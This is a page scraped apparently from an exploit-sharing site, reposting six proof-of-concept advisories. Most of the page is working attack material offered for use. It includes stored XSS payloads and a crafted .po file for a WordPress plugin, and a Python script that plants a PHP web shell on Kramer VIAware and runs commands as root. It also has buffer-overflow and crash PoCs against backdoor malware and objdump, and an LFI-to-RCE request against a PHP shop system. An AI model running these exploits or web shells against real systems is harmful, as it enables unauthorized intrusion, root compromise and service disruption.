Latest exploits :: CodePwn

<pre><code>Tittle: WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting References: CVE-2022-0765 Author: Taurus Omar Description: The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability. Affects Plugins: loco-translate - Fixed in version 2.6.1 Proof of Concept: ## POC1: via (edit-template) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options 3.) Enter Edit Template Any Plugin 4.) Add New Message 5.) Edit Message 6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')> 7.) Save 8.) Replicated ## POC2 via (example.po) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options Any Plugin 3.) Upload PO options 3.) Load example.po Example.po msgid "" msgstr "" "Project-Id-Version: xss-tester\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2022-02-25 03:48+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.5.8; wp-5.9.1\n" "X-Domain: xss-tester" msgid "xss-tester" msgstr "" msgid "\">'><details/open/ontoggle=confirm('XSS')>" msgstr "" Classification: Type XSS OWASP top 10 A7: Cross-Site Scripting (XSS) CWE-79 wpScan: https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587 </code></pre>

<pre><code># Exploit Title: Remote Code Execution as Root on KRAMER VIAware # Date: 31/03/2022 # Exploit Author: sharkmoos # Vendor Homepage: https://www.kramerav.com/ # Software Link: https://www.kramerav.com/us/product/viaware # Version: * # Tested on: ViaWare Go (Linux) # CVE : CVE-2021-35064, CVE-2021-36356 import sys, urllib3 from requests import get, post urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def writeFile(host): headers = { "Host": f"{host}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "text/html, */*", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Sec-Gpc": "1", "Te": "trailers", "Connection": "close" } # write php web shell into the Apache web directory data = { "radioBtnVal":"""<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?>""", "associateFileName": "/var/www/html/test.php"} post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data, verify=False) def getResult(host, cmd): # query the web shell, using rpm as sudo for root privileges file = get(f"https://{host}/test.php?cmd=" + "sudo rpm --eval '%{lua:os.execute(\"" + cmd + "\")}'", verify=False) pageText = file.text if len(pageText) < 1: result = "Command did not return a result" else: result = pageText return result def main(host): # upload malicious php writeFile(host) command = "" while command != "exit": # repeatedly query the webshell command = input("cmd:> ").strip() print(getResult(host, command)) exit() if __name__ == "__main__": if len(sys.argv) == 2: main(sys.argv[1]) else: print(f"Run script in format:\n\n\tpython3 {sys.argv[0]} target\n") </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/837ec70bfb305b5c862ff9b04e70a318_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wisell Vulnerability: Stack Buffer Overflow (SEH) Description: The malware listens on TCP port 5277. Attackers who can reach the infected system can send a specially crafted packet triggering a stack buffer overflow overwriting the structured exception handler (SEH). Family: Wisell Type: PE32 MD5: 837ec70bfb305b5c862ff9b04e70a318 Vuln ID: MVID-2022-0541 Dropped files: ASLR: Not Enabled DEP: Not Enabled SEH: Not Enabled CFG: Not Enabled Disclosure: 04/06/2022 Memory Dump: The stored exception information can be accessed via .ecxr. (1598.1748): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=e748a741 edx=00000000 esi=00000000 edi=00000002 eip=7770ed3c esp=029bf7e8 ebp=029bf828 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:003> .ecxr eax=00000149 ebx=0254f908 ecx=e748a741 edx=00000000 esi=00000001 edi=0000014a eip=0040192e esp=029bfe98 ebp=029bff80 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Wisell_837ec70bfb305b5c862ff9b04e70a318+0x192e: 0040192e 888c0537ffffff mov byte ptr [ebp+eax-0C9h],cl ss:002b:029c0000=?? 0:003> !exchain 029bf8a0: ntdll!_except_handler4+0 (77716a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad) 029bffcc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('A'*30000)" | nc64.exe x.x.x.x 5277 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: binutils 2.37 - Objdump Segmentation Fault # Date: 2021-11-03 # Exploit Author: p3tryx # Vendor Homepage: https://www.gnu.org/software/binutils/ # Version: binutils 2.37 # Tested on: Ubuntu 18.04 # CVE : CVE-2021-43149 Payload file ``` %223"\972\00\0083=Q333A111111114111113333<33A $$$\FF)$\80 1114 \00\80\99\00111111111111111-11111111111111111111111111111111111'111111111111111111 111111*111111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111 $%22622FF7FFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22111111111111111111111111111111111.1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111622FF \00\00\00FFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF111111111111111111111111111111111111111111111111111111q1111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFDFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF11111111111111111,1FF\83 \81 \8D 1111 $%22622FF7FFFFFFFFFFFFFFF \FF \00\80\99\00 1))\FF)$\80 1114 \00\80\99\0011111111111111)111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 { \8D 1111 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%2262211111111111111111111111111111111111111111111\00\00 \00111111111111111111111111111111111111111111111FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 111 $%22622FFF1111111111111111111FF\83))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF2E2CF9FFFF \98 \81 \8D 1111 $%22622FF7FFFFFFFFF1111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF1111111111111111111FF\83 \81 \8D 1111 $%22622FF7FFFFFFFFFFFFFFF \FF \00\80\99 1))\FF)$\80 1114 \00\80\99\00111111111111111111111111111111111111111111111111111'111111111111111111 1111111111111111111111111111111>11111111111d\00\00\00111111111111111111 111111111111111111111111111111111111111111111111111*111111111111111111111111.1111111111111111111111111111111;111011111111111111111111111111111111111111111111111111\EA111111111111111 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1111111111111111111111$1 1111 $%22622FFFFFFF1111111111111111111111111111\BF\BF\BF\BF\BF\BF1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!11111111111111'111111111111111111 111111111111@111111111111111111d\001111 \0011111111111111111111111111111111111111111111111*1111111111111111111111111111111111111111111111111111111111110111111111151111111111111111111111111111111111111111111111111111)111111111111111111111111111F111111111111111111111111 1111111FFFFFFFFFFLFFFFFFF11111111 111111111111111111111111111111111 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111P1111111111111111111111111111111111111111111111111111111111111111111111111111111111.11111111111111111111111111111111111111N1111111111111111111111111111111111111111111111111 1111111111111111111111111111\FF\FF1111111117111111111111111111111111111111111))\FF)$11111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111111111111111111111111111111111111111@1111111111111111111111111111111111111111111111111111\00\00 \0011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111M111111R111111111111 111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1I11 $%22622FFFFFF1FFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF111111111111 111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF$%22622FFFFFFFFFFFFFMFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111FFFFFF \FF \00\80\99\00 1))\FF)$\80 1111 \00\80\99\00a1))\FF)$1 1J11 $%22@22FF11111FFFFFFFFFFFFFF222$)$ ``` RUN the POC # binutils-2.37/binutils/objdump -T -D -x crash_2.37 ASAN:SIGSEGV ================================================================= ==27705==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000000000 bp 0x7fffffffdee0 sp 0x7fffffffde38 T0) ==27705==Hint: pc points to the zero page. AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ==27705==ABORTING </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Xingdoor Vulnerability: Denial of Service Description: The malware "System_XingCheng" listens on TCP port 7016. Attackers who can send a specially crafted packet, can trigger an int 3 "\xcc" breakpoint debug error causing a disruption in service. The error is a MS Visual C++ Debug Error, occurs when the value of ESP is not properly saved across a function call. Family: Xingdoor Type: PE32 MD5: 89000e259ffbd107b7cc9bac66dcdcf5 Vuln ID: MVID-2022-0542 Disclosure: 04/06/2022 Memory Dump: This dump file has a breakpoint exception stored in it. The stored exception information can be accessed via .ecxr. eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003 edi=00000003 eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 76feed3c c21400 ret 14h 0:000> .ecxr eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0 edi=0019fef0 eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de: 004027de cc int 3 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004027de (Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de) ExceptionCode: 80000003 (Break instruction exception) ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 00000000 DEFAULT_BUCKET_ID: STATUS_BREAKPOINT PROCESS_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached. EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid EXCEPTION_PARAMETER1: 00000000 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001928 PRIMARY_PROBLEM_CLASS: STATUS_BREAKPOINT BUGCHECK_STR: APPLICATION_FAULT_STATUS_BREAKPOINT LAST_CONTROL_TRANSFER: from 00401596 to 004027de STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019fe78 00401596 0019fe25 0040112f 004027f0 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de 0019fe80 0040112f 004027f0 004027f0 00384000 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596 0019fef0 00402903 00400000 00000000 02783767 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f 0019ff80 76698654 00384000 76698630 fa8d215c Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903 0019ff94 76fe4a77 00384000 b30fa868 00000000 kernel32!BaseThreadInitThunk+0x24 0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f 0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b FOLLOWUP_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5 IMAGE_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3f169e33 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=7016 def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) print(chk_res(s)) time.sleep(1) s.send("a") print(chk_res(s)) s.send("\r\n"+"A"*88+"\r\n") time.sleep(1) print(chk_res(s)) time.sleep(1) s.send("A"*88+"\n") print(chk_res(s)) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Title: Bakery Shop Management System 1.0 LFI To RCE # Author: Hejap Zairy # Date: 06.04.2022 # Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/ # Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php Needs more filtering require_once ``` require_once('DBConnection.php'); $page = isset($_GET['page']) ? $_GET['page'] : 'home'; if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){ header("Location:./"); exit; } ``` [+] Payload GET ``` GET //bsms/?page=../../../0day&515=dir HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s Upgrade-Insecure-Requests: 1 ``` #Status: CRITICAL #Response ``` <div class="container py-3" id="page-container"> Volume in drive C is OS Volume Serial Number is 2EF1-9DCA Directory of C:\xampp\htdocs\bsms 04/06/2022 04:18 AM <DIR> . 04/06/2022 05:05 AM <DIR> .. 02/14/2022 10:39 AM 16,358 Actions.php 08/04/2021 11:04 PM <DIR> css 02/14/2022 11:55 AM <DIR> database 09/09/2021 11:54 AM <DIR> DataTables 02/14/2022 11:55 AM 865 DBConnection.php 08/05/2021 03:09 AM <DIR> Font-Awesome-master 02/14/2022 12:00 PM 10,407 home.php 02/14/2022 11:07 AM <DIR> images 02/14/2022 02:26 PM 10,018 index.php 09/11/2021 11:40 AM <DIR> js 02/14/2022 11:11 AM 4,372 login.php ``` # Description: Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce # Proof and Exploit: https://i.imgur.com/qLNHh9Q.png https://i.imgur.com/XDSsyNL.jpg </code></pre>